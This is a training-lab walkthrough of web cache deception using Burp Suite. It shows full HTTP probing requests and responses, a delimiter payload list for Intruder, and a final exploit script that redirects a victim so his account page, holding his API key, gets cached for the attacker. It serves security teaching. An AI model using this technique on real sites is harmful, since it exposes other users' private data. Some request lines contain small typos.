Lab: Exploiting cache server normalization for web cache deception

Identify a target endpoint

Once we have successfully logged in to the exercise, the blog should look like the following image. We click on the link "My account" and log in to the application with the user name wiener and the password peter.

After logging in, we have access to the account of wiener and see an API key.

Investigate path delimiters used by the origin server

We now switch to the Burp Proxy and open the "HTTP history" tab there. In the "HTTP history", search for the request GET /my-account and send it to Burp Repeater.

To send the request to Burp Repeater, move the mouse over the request and press the right mouse button. A context menu appears in which we select the option "Send to Repeater".

We now switch to the burp repeater and insert any character string in the first line. The request could look like this.

GET /my-account/abc HTTP/2
Host: 0a3700f304ef5ba780980da800200001.web-security-academy.net
Cookie: session=bAiO334jvqDNG4dLNqJ8O0WdTXRQ2YVf
Cache-Control: max-age=0
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Referer: https://0a3700f304ef5ba780980da800200001.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

We now send the request to the application and receive the following response.

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 11

"Not Found"

As we can see, our sent path could not be found on the server. We also do not receive any information about whether data is delivered by caches. This means that the origin server does not abstract the path to /my-account.

Now we remove our appended character string and add it to the original path. GET /my-account/abc now becomes GET /my-accountabc. The request should now look like this.

GET /my-accountabc HTTP/2
Host: 0a3700f304ef5ba780980da800200001.web-security-academy.net
Cookie: session=bAiO334jvqDNG4dLNqJ8O0WdTXRQ2YVf
Cache-Control: max-age=0
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Referer: https://0a3700f304ef5ba780980da800200001.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

We send the request to the application and receive the same response as from the previous attempt.

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 11

"Not Found"

We now send the request to the Burp Intruder. To do this, we move the mouse over the request and press the right mouse button, in the context menu we select the option "Send to Intruder".

Now switch to the Burp Intruder and check whether the attack type is set to "Sniper attack". This should be the case if you have restarted Burp for this exercise, as this is the default setting.

Now we insert a payload position in our path. To do this, click with the mouse between /my-account and abc and click on the "Add" button.

In the next step, we go back to the start page of this exercise and copy the list of limiters.

The list can be found in the following code block.

!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
:
;
<
=
>
?
@
[
\
]
^
_
`
{
|
}
~
%21
%22
%23
%24
%25
%26
%27
%28
%29
%2A
%2B
%2C
%2D
%2E
%2F
%3A
%3B
%3C
%3D
%3E
%3F
%40
%5B
%5C
%5D
%5E
%5F
%60
%7B
%7C
%7D
%7E

The "Payloads" section is located on the right-hand side of the Burp Intruder. In the subsection "Payload configuration" we paste the list of limiters we just copied. To do this, we click on the "Paste" button.

In the subsection "Payload encoding" we deactivate the checkbox "URL-encode these characters". If we do not disable this option, Burp Intruder will encode our delimiters and we will not be able to identify any delimiters used by the application.

In the result window, we now click twice on the "Status code" column and see that the characters #, ?, %23 and %3f have received a 200 OK code. This indicates that the origin server only uses ? as a path delimiter. This means that they are used as path delimiters by the origin server. Ignore the # character. It cannot be used for an exploit because the victim's browser uses it as a delimiter before forwarding the request to the cache.

If you are using the Community Edition of Burp, this attack may take a little longer, as the Burp Intruder version is somewhat limited.

Investigate path delimiter discrepancies

We now switch to the Burp Repeater and add a static file extension to our string. To do this, we use the extension .js for JavaScript files. The request could look like this.

GET /my-account?abc.js HTTP/2
Host: 0a3700f304ef5ba780980da800200001.web-security-academy.net
Cookie: session=bAiO334jvqDNG4dLNqJ8O0WdTXRQ2YVf
Cache-Control: max-age=0
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Referer: https://0a3700f304ef5ba780980da800200001.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

After sending the request, we receive the following response.

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3866

<!DOCTYPE html>
<html>
...

The answer contains no reference to caching. This indicates either that the cache also uses ? as a path delimiter, or that the cache does not have a rule based on the .js extension.

We now test the limiter %23 and add it to our request. The request should look like this.

GET /my-account%23abc.js HTTP/2
Host: 0a3700f304ef5ba780980da800200001.web-security-academy.net
Cookie: session=bAiO334jvqDNG4dLNqJ8O0WdTXRQ2YVf
Cache-Control: max-age=0
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Referer: https://0a3700f304ef5ba780980da800200001.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

After sending the request, we receive the following response.

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3866

<!DOCTYPE html>
<html>
...

The response contains no reference to caching. This indicates either that the cache also uses %23 as a path delimiter, or that the cache does not have a rule based on the .js extension.

We now test the %3f delimiter and add it to our request. The request should look like this.

GET /my-account%3fabc.js HTTP/2
Host: 0a3700f304ef5ba780980da800200001.web-security-academy.net
Cookie: session=bAiO334jvqDNG4dLNqJ8O0WdTXRQ2YVf
Cache-Control: max-age=0
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Referer: https://0a3700f304ef5ba780980da800200001.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

After sending the request, we receive the following response.

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3866

<!DOCTYPE html>
<html>
...

The answer contains no reference to caching. This indicates either that the cache also uses %3f as a path delimiter, or that the cache does not have a rule based on the .js extension.

Investigate normalization discrepancies

In the repeater, we now remove the character string abc.js from the request and insert a directory with an attached coded point sequence /aaa/..%2fmy-account. The request should look like this.

GET /aaa/..%2my-account HTTP/2
Host: 0a3700f304ef5ba780980da800200001.web-security-academy.net
Cookie: session=bAiO334jvqDNG4dLNqJ8O0WdTXRQ2YVf
Cache-Control: max-age=0
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Referer: https://0a3700f304ef5ba780980da800200001.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

We send the request to the application and receive the response '404 Not Found'. This indicates that the origin server is not decoding or resolving the dot segment to normalise the path to /my-account.

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 11

"Not Found"

Now we switch to the "HTTP history" tab in the Burp Proxy and see that static files all start with the prefix /resources.

We now send any request with the prefix /resources to the Burp Repeater. In this example, we use the request GET /resources/js/tracking.js.

In Burp Repeater, we now send this request to the application and look at the response. We see indications of caching here.

Now we place the coded point sequence (/aaa/..%2) before the prefix (/resource) in the first line of our request. The first line of our request should therefore look like this: /aaa/..%2resources/js/tracking.js. The complete one is shown below.

GET /aaa/..%2fresources/js/tracking.js HTTP/2
Host: 0a3700f304ef5ba780980da800200001.web-security-academy.net
Cookie: session=bAiO334jvqDNG4dLNqJ8O0WdTXRQ2YVf
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://0a3700f304ef5ba780980da800200001.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate, br
Priority: u=1

When we send this request, we receive a 404 Not Found response, with the header X-Cache: miss. If we send the request to the application again within 30 seconds, the value of the header is X-Cache: hit. This may indicate that the cache is decoding and resolving the point sequence and has a cache rule based on the prefix /resources. To confirm this, you will need to perform further tests. It is still possible that the response is cached due to a different cache rule.

Now we place the coded point sequence after the prefix /resources and the request looks like this.

GET /resources/..%2fjs/tracking.js HTTP/2
Host: 0a8c0036038e212980ae627e00f300a1.web-security-academy.net
Cookie: session=2C50j9Vthfdzy0L2o8QwEKedUFIOGsU2
Cache-Control: max-age=0
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Referer: https://0a8c0036038e212980ae627e00f300a1.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

When we send the request to the application, we again receive a 404 Not Found. This time, however, there is no indication of caching in the response. This means that the cache decodes and resolves the dot segment and has a cache rule based on the prefix /resources.

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 11

"Not Found"

Craft an exploit

We now switch to the Burp Repeater and open the tab with the request /aaa/..%2fmy-account. With the limiter ? we now try to construct an exploit that looks like this.

GET /my-account?%2f%2e%2e%2fresources HTTP/2
Host: 0a8c0036038e212980ae627e00f300a1.web-security-academy.net
Cookie: session=2C50j9Vthfdzy0L2o8QwEKedUFIOGsU2
Cache-Control: max-age=0
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Referer: https://0a8c0036038e212980ae627e00f300a1.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

We have now URL-encoded the complete point sequence. If we send this request to the application, we receive our API key, but no information about caching.

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3866

<!DOCTYPE html>
<html>
    <head>
...

Now we use %3f as a delimiter and send the following request to the application.

GET /my-account%3f%2f%2e%2e%2fresources HTTP/2
Host: 0a8c0036038e212980ae627e00f300a1.web-security-academy.net
Cookie: session=2C50j9Vthfdzy0L2o8QwEKedUFIOGsU2
Cache-Control: max-age=0
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Referer: https://0a8c0036038e212980ae627e00f300a1.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

Again, we receive our API key, but no information about caching.

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3866

<!DOCTYPE html>
<html>
    <head>
...

Now let's try %23 as a limiter.

GET /my-account%23%2f%2e%2e%2fresources HTTP/2
Host: 0a8c0036038e212980ae627e00f300a1.web-security-academy.net
Cookie: session=2C50j9Vthfdzy0L2o8QwEKedUFIOGsU2
Cache-Control: max-age=0
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Referer: https://0a8c0036038e212980ae627e00f300a1.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

In the response we now see the headers Cache-Control: max-age=30, Age: 0 and X-Cache: miss. If we send the request again within 30 seconds, the header X-Cache contains the value hit.

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: hit
Content-Length: 3866

<!DOCTYPE html>
<html>
    <head>
...

We now open our exploit server by clicking on the "Go to exploit server" button.

In the Exploit Server, we scroll down to the "Body" section.

We insert the following exploit code there. This code redirects the victim carlos to a malicious URL. At the end, we insert an arbitrary value as a cache buster (wcd) so that carlos does not receive the previously cached response.

<script>document.location="https://0a8c0036038e212980ae627e00f300a1.web-security-academy.net/my-account%23%2f%2e%2e%2fresources?wcd"</script>

The URL must be adapted to your environment.

We now click the button "Deliver exploit to victim".

Now we copy the URL from the exploit https://0a8c0036038e212980ae627e00f300a1.web-security-academy.net/my-account%23%2f%2e%2e%2fresources?wcd and paste it into a new tab in the browser. We now see the account of carlos.

The exploit may have to be delivered to the victim several times before access to the account of carlos is possible.

We now copy the API key (bBfNzXXta0i9LuulsNFRfn40isN06fmk) from carlos and click on the "Submit solution" button.

In the window, we paste the API key we just copied from carlos and click on "Ok".

The exercise was successfully completed.

Video solution

Last updated